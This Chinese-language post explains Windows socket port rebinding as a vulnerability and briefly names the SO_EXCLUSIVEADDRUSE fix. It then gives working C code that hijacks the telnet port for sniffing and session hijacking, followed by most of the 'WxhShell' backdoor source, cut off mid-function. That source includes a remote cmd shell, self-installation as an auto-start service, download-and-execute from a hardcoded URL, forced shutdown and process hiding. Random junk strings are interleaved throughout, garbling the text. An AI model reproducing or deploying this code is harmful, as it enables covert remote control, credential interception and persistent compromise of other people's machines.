在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
uYhm
F p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|jk"; h vR3'B3y saddr.sin_family = AF_INET;
votv rZ= .4^Ep\\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cc*A/lD %/CCh;N# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
't{~#0d= 1xar
L)) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e54wAypPOl BYyR-m 这意味着什么?意味着可以进行如下的攻击:
p./zW
)7+ x/#*M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>pbO\=j]X LS+ _y<v= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|gA~E>IqF c-z
,}` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
81O`#DfZ 5yI_uQR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4)!aYvaER :,Q\!s! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ly7\H3 "H" 4(3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;x$,x- Jv %,v? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5(^&0c>P <3m_}
=\ #include
*R m>bLI #include
75u/'0~5 #include
Fc M #include
IC{\iwO/~c DWORD WINAPI ClientThread(LPVOID lpParam);
U}~SY int main()
Jajo!X*Wai {
}KEyJj3"DA WORD wVersionRequested;
b
lP@Cn2 DWORD ret;
k(pI5N}pJZ WSADATA wsaData;
X+z!?W*a BOOL val;
P
hs4]! SOCKADDR_IN saddr;
uPr'by SOCKADDR_IN scaddr;
2w>WS# int err;
PTWP7A[ SOCKET s;
0/S|h"-L SOCKET sc;
;!q _+P int caddsize;
}A\s`Hm HANDLE mt;
qT$;ZV
# DWORD tid;
Aw~
=U! wVersionRequested = MAKEWORD( 2, 2 );
rU=qr&f"B err = WSAStartup( wVersionRequested, &wsaData );
_[su?C if ( err != 0 ) {
}><VcouJ[ printf("error!WSAStartup failed!\n");
Uoe;4ni return -1;
jNhiY }
h.d-a/ saddr.sin_family = AF_INET;
47 xyS%X umhg
O.! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@E
%:ALJ [KR|m,QWp saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
? C1.g'}7 saddr.sin_port = htons(23);
8/F}vfKEN if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{VtmQU?cJ {
cVYDO*N2T printf("error!socket failed!\n");
S
{oW return -1;
B9^@d }
+:k Iq val = TRUE;
b;G3&R] //SO_REUSEADDR选项就是可以实现端口重绑定的
-c|dTZ8D)8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
AiKja>Fl< {
xl8=y printf("error!setsockopt failed!\n");
M3P\1 return -1;
yB0xa% }
3eT5~Lbs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
h\| ~Q.kG //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^YG'p?r.s //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(k/[/`3ST `Sgj!/!F if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"Zm**h.t {
& mwQj<Z ret=GetLastError();
zGzeu)d printf("error!bind failed!\n");
N^</:R return -1;
5x856RQ' }
< %@e<,8 listen(s,2);
HHVCw7r0 while(1)
)r2$!(NQ {
8T<LNC caddsize = sizeof(scaddr);
HYU-F_|N=
//接受连接请求
uq?(( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}p,#rOX:A if(sc!=INVALID_SOCKET)
UdO(9Jc5^ {
9<0TF+}> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
e.-+zkQ8EI if(mt==NULL)
cjK\(b3 {
[PG#5.jwQ printf("Thread Creat Failed!\n");
zwJB.4@ break;
}
DQ<YF+ }
?+Gc.lU }
1<|\df. CloseHandle(mt);
j11FEE<W }
mV!Ia-k closesocket(s);
(5CdA1| WSACleanup();
6d~[j<@2 return 0;
N{+6 V`\ }
:&Sv jJR DWORD WINAPI ClientThread(LPVOID lpParam)
UU\wP(f {
VWhq+8z SOCKET ss = (SOCKET)lpParam;
t&|M@Ouet SOCKET sc;
~-2%^ovB unsigned char buf[4096];
j IO2uTM~ SOCKADDR_IN saddr;
]hE%Tk- long num;
5SV w71* DWORD val;
c{.y9P6 DWORD ret;
C_>
WU //如果是隐藏端口应用的话,可以在此处加一些判断
mq#8[D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~dc
o saddr.sin_family = AF_INET;
9;2{=, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
<&w(%<; saddr.sin_port = htons(23);
zXX=WH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kXW5bR {
CE,0@%6F* printf("error!socket failed!\n");
t =LIkwD return -1;
!m]_tB }
&<nj~BL val = 100;
-Cn x!g} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
up _Qv#`Q {
2/o_,k ret = GetLastError();
^*?mb) return -1;
O q3aboAt }
#su R[K*S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z$*m=]2 {
,8.Fd|#L ret = GetLastError();
.)(5F45Wg return -1;
(1%O;D.*?{ }
OQnb^fabY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
uuaoBf {
?uAq goCl printf("error!socket connect failed!\n");
#(pY~\ closesocket(sc);
K92nh/}y closesocket(ss);
wWYo\WH' return -1;
gh9Gc1tKt }
Pzt5'O@dA while(1)
cG)U01/" {
C>NLZMT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
F)8M9%g5m //如果是嗅探内容的话,可以再此处进行内容分析和记录
s2=`haYu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{!0f.nv num = recv(ss,buf,4096,0);
wXR7Ifrv if(num>0)
"udA-;!@& send(sc,buf,num,0);
\wR;N/tg else if(num==0)
'@6O3z_{ break;
S =5br num = recv(sc,buf,4096,0);
"!S7D>2y# if(num>0)
%+pF4f8] send(ss,buf,num,0);
_-=yD@;[D else if(num==0)
J;DTh ]z?: break;
bVxbQ$ }
to9X2^ closesocket(ss);
aM5Hp>'nI closesocket(sc);
tD^$}u6 return 0 ;
,DL%oQR }
Cl>|*h+m ZrNBkfe: qV{iUtYt ==========================================================
S7v# `# }'`iJb\ 下边附上一个代码,,WXhSHELL
4`Ib wg6"B V=d~}PJ> ==========================================================
~'#yH#o
A)9F_;BY #include "stdafx.h"
`g+Kv&546 =D3K})& #include <stdio.h>
2F&VG|" #include <string.h>
9Zj9e #include <windows.h>
2rGg #include <winsock2.h>
JZup} {a #include <winsvc.h>
7lUnqX.
#include <urlmon.h>
MA,7|s
mufXM( #pragma comment (lib, "Ws2_32.lib")
u>\u}c #pragma comment (lib, "urlmon.lib")
'z9}I
# dKpUw9C#/ #define MAX_USER 100 // 最大客户端连接数
[QDM_n #define BUF_SOCK 200 // sock buffer
a{
p1Yy-] #define KEY_BUFF 255 // 输入 buffer
X..<U}e .Lm0$o*` #define REBOOT 0 // 重启
){< qp #define SHUTDOWN 1 // 关机
9dCf@5] eWGaGRem #define DEF_PORT 5000 // 监听端口
ET0^_yk AfT;IG%Gt #define REG_LEN 16 // 注册表键长度
=/m$ayG #define SVC_LEN 80 // NT服务名长度
'wA4yJ< {
Ba_.]x // 从dll定义API
]G}:cCpd+a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"?=$(7uc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
fR&x5Ika0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
X1XmaO%A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
">FuCvQ AA XQ+! // wxhshell配置信息
WRqpQEY struct WSCFG {
' OXL'_Xl int ws_port; // 监听端口
sl_f+h0 char ws_passstr[REG_LEN]; // 口令
TcpaZ
'x int ws_autoins; // 安装标记, 1=yes 0=no
G`r/ te sW char ws_regname[REG_LEN]; // 注册表键名
?_`X8Ok char ws_svcname[REG_LEN]; // 服务名
yJGnN g char ws_svcdisp[SVC_LEN]; // 服务显示名
"Z]z9( char ws_svcdesc[SVC_LEN]; // 服务描述信息
4?33t] " char ws_passmsg[SVC_LEN]; // 密码输入提示信息
HSj=g}r int ws_downexe; // 下载执行标记, 1=yes 0=no
DQ.; 2W char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zP8rW5/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
quL+UFuM 7-Mm+4O9 };
}B`T%(11= h4E[\<? // default Wxhshell configuration
a}g<<{ struct WSCFG wscfg={DEF_PORT,
24I\smO "xuhuanlingzhe",
Utj4f-M 1,
O`f[9^fN "Wxhshell",
5 \iX%w@ "Wxhshell",
P TH'-G "WxhShell Service",
-\&b&; _ "Wrsky Windows CmdShell Service",
LMRq.wxbbB "Please Input Your Password: ",
J-ErG! 1,
}u+cS[#-
"
http://www.wrsky.com/wxhshell.exe",
T4Io+b8$ "Wxhshell.exe"
$u cmE };
7v
V~O@JP S0WKEv@Hn // 消息定义模块
avb'dx*q> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=sUrSVUeU char *msg_ws_prompt="\n\r? for help\n\r#>";
.cK<jF@' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=`g@6S char *msg_ws_ext="\n\rExit.";
x"~gulcz char *msg_ws_end="\n\rQuit.";
*?~&O.R" char *msg_ws_boot="\n\rReboot...";
]--"
K{ char *msg_ws_poff="\n\rShutdown...";
2CRgOFR char *msg_ws_down="\n\rSave to ";
7OD2/{]5 &?*H`5#?G char *msg_ws_err="\n\rErr!";
%?PRBE'}' char *msg_ws_ok="\n\rOK!";
ldWrv7.P J\E?rT char ExeFile[MAX_PATH];
'3]M1EP int nUser = 0;
k;f%OQsF_ HANDLE handles[MAX_USER];
M.K%;j` int OsIsNt;
;Dp<|n r*g<A2g% SERVICE_STATUS serviceStatus;
/DX6Hkkj % SERVICE_STATUS_HANDLE hServiceStatusHandle;
"b[w%KYyl O4oI&i 7 // 函数声明
nEgYypwr int Install(void);
4Un%p7Y~ int Uninstall(void);
^Is#_Z| int DownloadFile(char *sURL, SOCKET wsh);
15_Px9 int Boot(int flag);
ZjveXrx void HideProc(void);
J3y4D} int GetOsVer(void);
+jyWqld.K1 int Wxhshell(SOCKET wsl);
jg3T1ROL void TalkWithClient(void *cs);
IzlmcP3 int CmdShell(SOCKET sock);
&+" )~2
+ int StartFromService(void);
H'?dsc int StartWxhshell(LPSTR lpCmdLine);
!Q=xIS
}3=^Ik;x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1q/Q@O VOID WINAPI NTServiceHandler( DWORD fdwControl );
)#v0.pE #\&64 // 数据结构和表定义
2}6StmE } SERVICE_TABLE_ENTRY DispatchTable[] =
^q\9HBHT {
J_d!` Hhe {wscfg.ws_svcname, NTServiceMain},
8B;HMD {NULL, NULL}
)|B3TjHC };
/JQY_>@W "]hQ\b\O // 自我安装
C!^[d int Install(void)
l~ZIv {
Ja{[T char svExeFile[MAX_PATH];
fBnlB_}e HKEY key;
u5A$VRMN strcpy(svExeFile,ExeFile);
7 ;SI= '5}@#Mi // 如果是win9x系统,修改注册表设为自启动
jd+U+8r if(!OsIsNt) {
.Lp\Jyegs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Pk^W+M_)~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+&.wc;mi RegCloseKey(key);
C/YjMYwKgv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kmM->v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C n.x:I@r RegCloseKey(key);
-GT&46hX return 0;
sW0<f&3 }
'\R/-. }
i|CAN,' }
OFn#C! else {
wqA7_
- tB<|7 // 如果是NT以上系统,安装为系统服务
,rWej;CzN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4_d'Uh&] if (schSCManager!=0)
6.k>J{GG {
!T~C =,; SC_HANDLE schService = CreateService
TSUT3'&~p (
V]P%@<C schSCManager,
VP_S[+Zv~ wscfg.ws_svcname,
1(jDBP!8 wscfg.ws_svcdisp,
i7foZ\btFc SERVICE_ALL_ACCESS,
2Z7r ZjXW SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
T*qSk! SERVICE_AUTO_START,
BL H~`N3U SERVICE_ERROR_NORMAL,
C]NL9Gq` svExeFile,
|WsB0R NULL,
tQIa6c4| NULL,
yc.9CTxx NULL,
18o5Gs;yx NULL,
'L8B"5|> NULL
b>f{o_ );
ok(dCAKP if (schService!=0)
Y1 *8&xT {
Mc<O ~ CloseServiceHandle(schService);
ObSRd$M CloseServiceHandle(schSCManager);
A3Oe=rB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8Lr&-w8J strcat(svExeFile,wscfg.ws_svcname);
UOcO\EA+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|yVveJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?+?`Jso( RegCloseKey(key);
TyN]P a return 0;
xH>2$ ;f }
#?fKi$fS;L }
l@`Do [ CloseServiceHandle(schSCManager);
HD153M, }
Hg2Rcl }
i2 G.<(3O aW(Hn[}^ return 1;
G }U'?p }
Rv)>xw IRIYj(J // 自我卸载
EJ=ud9 int Uninstall(void)
l1eF&wNC {
zaG1 HKEY key;
Q8^g WBc MhZ\]CAs9 if(!OsIsNt) {
d#-'DO{k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rVv4R/3+ RegDeleteValue(key,wscfg.ws_regname);
Yqb3g(0 RegCloseKey(key);
=jkiM_<h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Qgxpq{y RegDeleteValue(key,wscfg.ws_regname);
_7b' i6- RegCloseKey(key);
U$7]*#@& return 0;
vY!'@W }
FS7@6I2Ts }
pd}Cg'}X }
MP$9W) else {
N'~l,{ uc]`^,`2/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\JbOT%1 if (schSCManager!=0)
~ ^*;#[< {
nj6|WJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.^V9XN{'a if (schService!=0)
R_2T" {
J4#rOS if(DeleteService(schService)!=0) {
Qz`v0"'w CloseServiceHandle(schService);
6D/K=- CloseServiceHandle(schSCManager);
-^$`5Rk return 0;
Cnv?0to2l }
d'k99(vy CloseServiceHandle(schService);
' ?uwUBi }
q.!<GqSgb CloseServiceHandle(schSCManager);
|H
,-V; }
,_z"3B)] }
]i
Yp +jb<=ERV[ return 1;
A^vvw~!d }
T&+y~c[au 36UUt!}p // 从指定url下载文件
%![3?|8~ int DownloadFile(char *sURL, SOCKET wsh)
T,/:5L9 {
=:_DXGW2H HRESULT hr;
0[.T`tpN' char seps[]= "/";
odhcU5 char *token;
lw=!v%L char *file;
q#\4/Dt char myURL[MAX_PATH];
>!WH%J char myFILE[MAX_PATH];
Dy|)u1? 'f-8P strcpy(myURL,sURL);
/Jf}~}JP token=strtok(myURL,seps);
:N64FR# while(token!=NULL)
f f5 e]^, {
CkR
95* file=token;
SaFNPnk= token=strtok(NULL,seps);
9i+.iuE%Bu }
JVR,Py:%G |syvtS{ GetCurrentDirectory(MAX_PATH,myFILE);
xTf|u strcat(myFILE, "\\");
1<;G
oC" strcat(myFILE, file);
+d=w%r) send(wsh,myFILE,strlen(myFILE),0);
3GPGwzX
| send(wsh,"...",3,0);
k\Z7Dg$\D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:%>TM/E N if(hr==S_OK)
d8.A8<wUr return 0;
~PyZh5x else
7f>~P_ return 1;
ne
8rF.D
6)yi^v }
T&^b~T(y )`K!XX$% // 系统电源模块
@{U@?6eZ int Boot(int flag)
$7*@TMX {
R?HuDxHk HANDLE hToken;
eXi}-~o TOKEN_PRIVILEGES tkp;
4(&sw<k w5;d/r<q if(OsIsNt) {
p|Qn?^C: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?H!QV;ku LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
e[Jh7r>' tkp.PrivilegeCount = 1;
..Bf-)w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Xxr"Gc[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ud)2Mq1#M if(flag==REBOOT) {
+%R{j|8# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
t6Nkv;)>@ return 0;
(?1/\r }
z[WdJN{ else {
/kAbGjp0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[r^WS;9n return 0;
]JHInt }
Ie(M9QMp }
cC]lO else {
Q!{,^Qb if(flag==REBOOT) {
?*&5`Xh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Yc^,Cj{OM return 0;
,c|Ai(U }
1*?L>@Wdy else {
LAY~hF" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1!;4I@W(I) return 0;
7X <# }
Y'yGhpT~ }
+NTC!/ LerRrN}~ return 1;
B/I1<%Yk }
cnB:bQQK8 #6@4c5{2=4 // win9x进程隐藏模块
\G2PK&)F void HideProc(void)
K"8! {
#N'bhs !+(H(,gI HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=-]NAj\ if ( hKernel != NULL )
aSIoq}c( {
S|]\q-qA& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
gP`CQ0t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
d "25e"(~F FreeLibrary(hKernel);
S5[}kfe }
7A^L$TY w d6+,B return;
4e?MthJ> }
7*>,BhF# K{0 gkORF // 获取操作系统版本
f@0Km^a Uc int GetOsVer(void)
"EnxVV {
VjJ}q*/3e OSVERSIONINFO winfo;
|eK^Yhym winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
wQYW5X GetVersionEx(&winfo);
f1|&umJ$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=g$%jM>35 return 1;
C?g<P0h else
-nY_.fp> return 0;
EZ[e
a< }
P98g2ak 8;O /x // 客户端句柄模块
3cc;BWvM int Wxhshell(SOCKET wsl)
!-4VGt&c, {
~0rvrDDg SOCKET wsh;
0(Hzh?t_ struct sockaddr_in client;
<sG}[:v DWORD myID;
dst!VO:
M {dwlW`{ while(nUser<MAX_USER)
$pauPEe {
~7:Q+ 0,, int nSize=sizeof(client);
Qp +M5_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
u<EPK*O* if(wsh==INVALID_SOCKET) return 1;
L=&}s[5 ; jrmr`l= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
tk+4noA if(handles[nUser]==0)
Wa9yyc closesocket(wsh);
W!JEl|] else
~YXkAS: nUser++;
AE=E"l1] }
@[bFlqsE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|}Z2YDwO/ e?:1wU return 0;
WQsu}_g5y }
.f`KP!p. "Iacs s0; // 关闭 socket
=nv/
r void CloseIt(SOCKET wsh)
\pXo~;E\ {
*mn"GK6 closesocket(wsh);
7=a
e^GKo nUser--;
_% i!LyG ExitThread(0);
0~e6\7={ }
Ehq
[4} |OIU)53A- // 客户端请求句柄
Se>v|6 void TalkWithClient(void *cs)
h]&o)%{4 {
_7
^:1i~:. <(l`zLf4p SOCKET wsh=(SOCKET)cs;
YwZ]J char pwd[SVC_LEN];
}brBhe8a char cmd[KEY_BUFF];
0B"_St}3D char chr[1];
w!OYH1ds]_ int i,j;
uCc5) &.JJhX while (nUser < MAX_USER) {
YcW)D Z61L;E if(wscfg.ws_passstr) {
Px&)kEQ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^(KDtc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f&
Vx`oj //ZeroMemory(pwd,KEY_BUFF);
&U\// i=0;
qUk-BG8^ while(i<SVC_LEN) {
}O2P>Z?V p ^Y2A // 设置超时
De<i
8/^= fd_set FdRead;
GjbOc struct timeval TimeOut;
Kf`/ Gc! FD_ZERO(&FdRead);
[Xww`OUsh FD_SET(wsh,&FdRead);
3e1%G#fu TimeOut.tv_sec=8;
[ ^gb6W9Y TimeOut.tv_usec=0;
o90[, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p,14'HS%@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
I7W?}bR*6 M6y|;lh''c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
dv?t;D@p! pwd
=chr[0]; fJ+4H4K
if(chr[0]==0xd || chr[0]==0xa) { lXXWQ=
pwd=0;
M,we,!B0
break; !\\OMAf7
} *!yA'z<
i++; 3*-!0
} ld#YXJ;P.k
Lm+E? Ca
// 如果是非法用户,关闭 socket #wJ^:r-c`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E5Lq-
} er<_;"`1
YTg8Zg-Z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A-u!{F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g\ H~Y@'{
2Hk21y\
while(1) { Z8Tb43?
Ss:'HH4
ZeroMemory(cmd,KEY_BUFF); gi+FL_8CzU
!ZY1AhGZ
// 自动支持客户端 telnet标准 @]L$eOV_
j=0; 3?TUt{3g
while(j<KEY_BUFF) { JY%l1:}G3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? 3oUkGfn
cmd[j]=chr[0]; J)sOne
if(chr[0]==0xa || chr[0]==0xd) { 79B+8= K
cmd[j]=0; C|]Zpn#{K
break; lDVgW}o@
} ^G
"Qp8 "
j++; 4@0Z<8Mo
} cL4Xh|NBp
F<{k~
// 下载文件 6iY(RYZ7-
if(strstr(cmd,"http://")) { 5kCXy$"%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); nLR
if(DownloadFile(cmd,wsh)) %
@!hf!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >RrG&Wv59
else zrwzI+4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
zuF]E+
} lU`t~|>r+
else { ,M
:j5
p{&o{+c
switch(cmd[0]) { K14v6d
+9M";'\c
// 帮助 %K0Wm#)
case '?': { jVna;o)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7?8+h
break; Ym2Ac>I4
} q-S#[I+g
// 安装 tO3#kV\,
case 'i': { IV%Rph>d
if(Install()) z }Vg4\x&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0vWyU:K9
else ~SI G0U8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;8b!T
-K
break; 3!8 u
} $5DlCN
// 卸载 M2nUY`%#v
case 'r': {
9&s>RJ
if(Uninstall()) J2k4k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 28j/K=0(
else vZPBjloT!.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WsT
break; W)L*zVj~
} pz"}o#R"x
// 显示 wxhshell 所在路径 - x; xQ
case 'p': { 2` Ihrz6
char svExeFile[MAX_PATH]; k|$?b7)"@
strcpy(svExeFile,"\n\r"); bpa'`sf
strcat(svExeFile,ExeFile); 6cOlY=
bn
send(wsh,svExeFile,strlen(svExeFile),0); m14'u GC
break; <VhD>4f{]
} wWM[Hus
// 重启 Yi <1z:\
case 'b': { (^58$IW71
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zX6Q7Bc
if(Boot(REBOOT)) 4r#4h4`y|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "i&9RA!1
else { f[?JLp
closesocket(wsh); BC#O.93`
ExitThread(0); (~fv;}}v
} :mt<]Oy3
break; 'f8'|o)
} &g]s@S|%
// 关机 At&kW3(
case 'd': { ,lVQ-qw5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tD,I7%|@
if(Boot(SHUTDOWN)) Ql"~ z^L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *a-KQw
else { %q6I-
closesocket(wsh); v`U;.W
ExitThread(0); %eGI]!vf
} w8zr0z
break; tRNMiU
} U[z2{\
// 获取shell f<y3/jl4
case 's': { a3,A_M}M'
CmdShell(wsh); Hk$do`H-=Y
closesocket(wsh); UK)wV
ExitThread(0); Uy?X-"UR
break; 55=YM'5]
} &w:0ad|
// 退出 3mL(xpT.8z
case 'x': { lHE \Z`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R0K{wY58
CloseIt(wsh); cH707?p/I
break; yE;S6 O
} :k2J
&@8
// 离开 0qm CIcg
case 'q': { h-U]?De5\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); qKE +,g'
closesocket(wsh); yh'*eli
WSACleanup(); <v?2p{U%
exit(1); y2 R\SL,
break; H|/"'t
OZ
} VO /b&%
} g+Y &rz
} a6?t?:~|
{ T<[-"h
// 提示信息 {U4{v=,!I
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6XnUs1O
} o\fPZ`p-m~
} RFq=`/>dG
X.ZG-TC
return; iO$ ?No
} [7 t
C8=r sh
// shell模块句柄 /l8wb~vl
int CmdShell(SOCKET sock) l~[
K.p&
{ E+/XKF
STARTUPINFO si; tH:?aP*2
ZeroMemory(&si,sizeof(si)); EJNHZ<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5acC4v!T
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
$QwzL/a
PROCESS_INFORMATION ProcessInfo; O2xqNQ`d
char cmdline[]="cmd"; n^nQrRIp
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (%G>TV
return 0; UJjtDV3@_g
} JURg=r]LI
iF_u/#
// 自身启动模式 YoZd,} i
int StartFromService(void) C~PP}|<~V
{ g!i45]6[Nw
typedef struct Z%
]LZ/O8
{ w^:@g~
DWORD ExitStatus; 5i'KGL
DWORD PebBaseAddress; "2 D{X
DWORD AffinityMask; h;mOfF
DWORD BasePriority; '-#gQxIpD
ULONG UniqueProcessId; *z]P|_:&G
